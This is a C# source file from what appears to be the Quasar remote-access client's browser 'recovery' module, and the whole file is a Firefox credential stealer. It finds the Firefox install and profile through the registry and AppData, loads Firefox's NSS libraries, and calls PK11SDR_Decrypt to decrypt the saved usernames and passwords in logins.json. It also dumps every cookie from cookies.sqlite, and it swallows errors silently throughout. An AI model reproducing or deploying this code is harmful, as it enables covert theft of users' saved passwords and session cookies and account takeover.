using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Client.Recovery.Utilities;
using Quasar.Client.Utilities;
using Quasar.Common.Helpers;
using Quasar.Common.Models;

namespace Quasar.Client.Recovery.Browsers
{
    /// <summary>
    /// A small class to recover Firefox Data
    /// </summary>
    public static class Firefox
    {
        private static IntPtr nssModule;

        private static DirectoryInfo firefoxPath;
        private static DirectoryInfo firefoxProfilePath;

        private static FileInfo firefoxLoginFile;
        private static FileInfo firefoxCookieFile;

        static Firefox()
        {
            try
            {
                firefoxPath = GetFirefoxInstallPath();
                if (firefoxPath == null)
                    throw new NullReferenceException("Firefox is not installed, or the install path could not be located");

                firefoxProfilePath = GetProfilePath();
                if (firefoxProfilePath == null)
                    throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");

                firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
                if (firefoxLoginFile == null)
                    throw new NullReferenceException("Firefox does not have any logins.json file");

                firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
                if (firefoxCookieFile == null)
                    throw new NullReferenceException("Firefox does not have any cookie file");
            }
            catch (Exception)
            {

            }
        }

        #region Public Members
        /// <summary>
        /// Recover Firefox Passwords from logins.json
        /// </summary>
        /// <returns>List of Username/Password/Host</returns>
        public static List<RecoveredAccount> GetSavedPasswords()
        {
            List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
            try
            {
                // init libs
                InitializeDelegates(firefoxProfilePath, firefoxPath);

                JsonFFData ffLoginData = new JsonFFData();

                using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
                {
                    string json = sr.ReadToEnd();
                    ffLoginData = JsonUtil.Deserialize<JsonFFData>(json);
                }

                foreach (Login data in ffLoginData.logins)
                {
                    string username = Decrypt(data.encryptedUsername);
                    string password = Decrypt(data.encryptedPassword);
                    Uri host = new Uri(data.formSubmitURL);

                    firefoxPasswords.Add(new RecoveredAccount { Url = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" });
                }
            }
            catch (Exception)
            {
            }
            return firefoxPasswords;
        }

        /// <summary>
        /// Recover Firefox Cookies from the SQLite3 Database
        /// </summary>
        /// <returns>List of Cookies found</returns>
        public static List<FirefoxCookie> GetSavedCookies()
        {
            List<FirefoxCookie> data = new List<FirefoxCookie>();
            SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName);
            if (!sql.ReadTable("moz_cookies"))
                throw new Exception("Could not read cookie table");

            int totalEntries = sql.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    string h = sql.GetValue(i, "host");
                    //Uri host = new Uri(h);
                    string name = sql.GetValue(i, "name");
                    string val = sql.GetValue(i, "value");
                    string path = sql.GetValue(i, "path");

                    bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
                    bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;

                    // if this fails we're in deep shit
                    long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
                    long currentTime = ToUnixTime(DateTime.Now);
                    DateTime exp = FromUnixTime(expiryTime);
                    bool expired = currentTime > expiryTime;

                    data.Add(new FirefoxCookie()
                    {
                        Host = h,
                        ExpiresUTC = exp,
                        Expired = expired,
                        Name = name,
                        Value = val,
                        Path = path,
                        Secure = secure,
                        HttpOnly = http
                    });
                }
                catch (Exception)
                {
                    return data;
                }
            }
            return data;
        }
        #endregion

        #region Functions
        private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
        {
            //Return if under firefox 35 (35+ supported)
            //Firefox changes their DLL heirarchy/code with different releases
            //So we need to avoid trying to load a DLL in the wrong order
            //To prevent pop up saying it could not load the DLL
            if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
                return;

            NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
            NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
            NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
            NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
            NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
            nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
            IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
            NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
            NSS_Init(firefoxProfilePath.FullName);
            long keySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(keySlot, true, 0);
        }
        private static DateTime FromUnixTime(long unixTime)
        {
            DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
            return epoch.AddSeconds(unixTime);
        }
        private static long ToUnixTime(DateTime value)
        {
            TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
            return (long)span.TotalSeconds;
        }
        #endregion

        #region File Handling
        private static DirectoryInfo GetProfilePath()
        {
            string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
            if (!Directory.Exists(raw))
                throw new Exception("Firefox Application Data folder does not exist!");
            DirectoryInfo profileDir = new DirectoryInfo(raw);

            DirectoryInfo[] profiles = profileDir.GetDirectories();
            if (profiles.Length == 0)
                throw new IndexOutOfRangeException("No Firefox profiles could be found");

            // return first profile
            return profiles[0];
        }
        private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
        {
            foreach (FileInfo file in profilePath.GetFiles(searchTerm))
            {
                return file;
            }
            throw new Exception("No Firefox logins.json was found");
        }
        private static DirectoryInfo GetFirefoxInstallPath()
        {
            // get firefox path from registry
            using (RegistryKey key = PlatformHelper.Is64Bit ?
                RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
                    @"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") :
                RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
                    @"SOFTWARE\Mozilla\Mozilla Firefox"))
            {
                if (key == null) return null;

                string[] installedVersions = key.GetSubKeyNames();

                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

                using (RegistryKey mainInstall = key.OpenSubKey(installedVersions[0]))
                {
                    // get install directory
                    string installPath = mainInstall.OpenReadonlySubKeySafe("Main")
                        .GetValueSafe("Install Directory");

                    if (string.IsNullOrEmpty(installPath))
                        throw new NullReferenceException("Install string was null or empty");

                    firefoxPath = new DirectoryInfo(installPath);
                }
            }
            return firefoxPath;
        }
        #endregion

        #region WinApi
        // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
        private static IntPtr LoadWin32Library(string libPath)
        {
            if (String.IsNullOrEmpty(libPath))
                throw new ArgumentNullException("libPath");

            IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath);
            if (moduleHandle == IntPtr.Zero)
            {
                var lasterror = Marshal.GetLastWin32Error();
                var innerEx = new Win32Exception(lasterror);
                innerEx.Data.Add("LastWin32Error", lasterror);

                throw new Exception("can't load DLL " + libPath, innerEx);
            }
            return moduleHandle;
        }

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate long NSS_InitPtr(string configdir);

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate long PK11_GetInternalKeySlotPtr();

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);

        [StructLayout(LayoutKind.Sequential)]
        private struct TSECItem
        {
            public int SECItemType;
            public int SECItemData;
            public int SECItemLen;
        }

        #endregion

        #region JSON
        // json deserialize classes
       /* private class JsonFFData
        {

            public long nextId;
            public LoginData[] logins;
            public string[] disabledHosts;
            public int version;

        }
        private class LoginData
        {

            public long id;
            public string hostname;
            public string url;
            public string httprealm;
            public string formSubmitURL;
            public string usernameField;
            public string passwordField;
            public string encryptedUsername;
            public string encryptedPassword;
            public string guid;
            public int encType;
            public long timeCreated;
            public long timeLastUsed;
            public long timePasswordChanged;
            public long timesUsed;

        }*/
        public class Login
        {
            public int id { get; set; }
            public string hostname { get; set; }
            public object httpRealm { get; set; }
            public string formSubmitURL { get; set; }
            public string usernameField { get; set; }
            public string passwordField { get; set; }
            public string encryptedUsername { get; set; }
            public string encryptedPassword { get; set; }
            public string guid { get; set; }
            public int encType { get; set; }
            public long timeCreated { get; set; }
            public long timeLastUsed { get; set; }
            public long timePasswordChanged { get; set; }
            public int timesUsed { get; set; }
        }

        public class JsonFFData
        {
            public int nextId { get; set; }
            public List<Login> logins { get; set; }
            public List<object> disabledHosts { get; set; }
            public int version { get; set; }
        }
        #endregion

        #region Delegate Handling
        // Credit: http://www.codeforge.com/article/249225
        private static long PK11_GetInternalKeySlot()
        {
            IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
            PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
            return ptr();
        }
        private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate");
            PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
            return ptr(slot, loadCerts, wincx);
        }
        private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
        {
            IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
            NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
            return ptr(arenaOpt, outItemOpt, inStr, inLen);
        }
        private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
        {
            IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
            PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
            return ptr(ref data, ref result, cx);
        }
        private static string Decrypt(string cypherText)
        {
            StringBuilder sb = new StringBuilder(cypherText);
            int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
            TSECItem tSecDec = new TSECItem();
            TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    byte[] bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    return Encoding.UTF8.GetString(bvRet);
                }
            }
            return null;
        }
        #endregion
    }
    public class FirefoxPassword
    {
        public string Username { get; set; }
        public string Password { get; set; }
        public Uri Host { get; set; }
        public override string ToString()
        {
            return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine);
        }
    }
    public class FirefoxCookie
    {
        public string Host { get; set; }
        public string Name { get; set; }
        public string Value { get; set; }
        public string Path { get; set; }
        public DateTime ExpiresUTC { get; set; }
        public bool Secure { get; set; }
        public bool HttpOnly { get; set; }
        public bool Expired { get; set; }

        public override string ToString()
        {
            return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure);
        }
    }
}
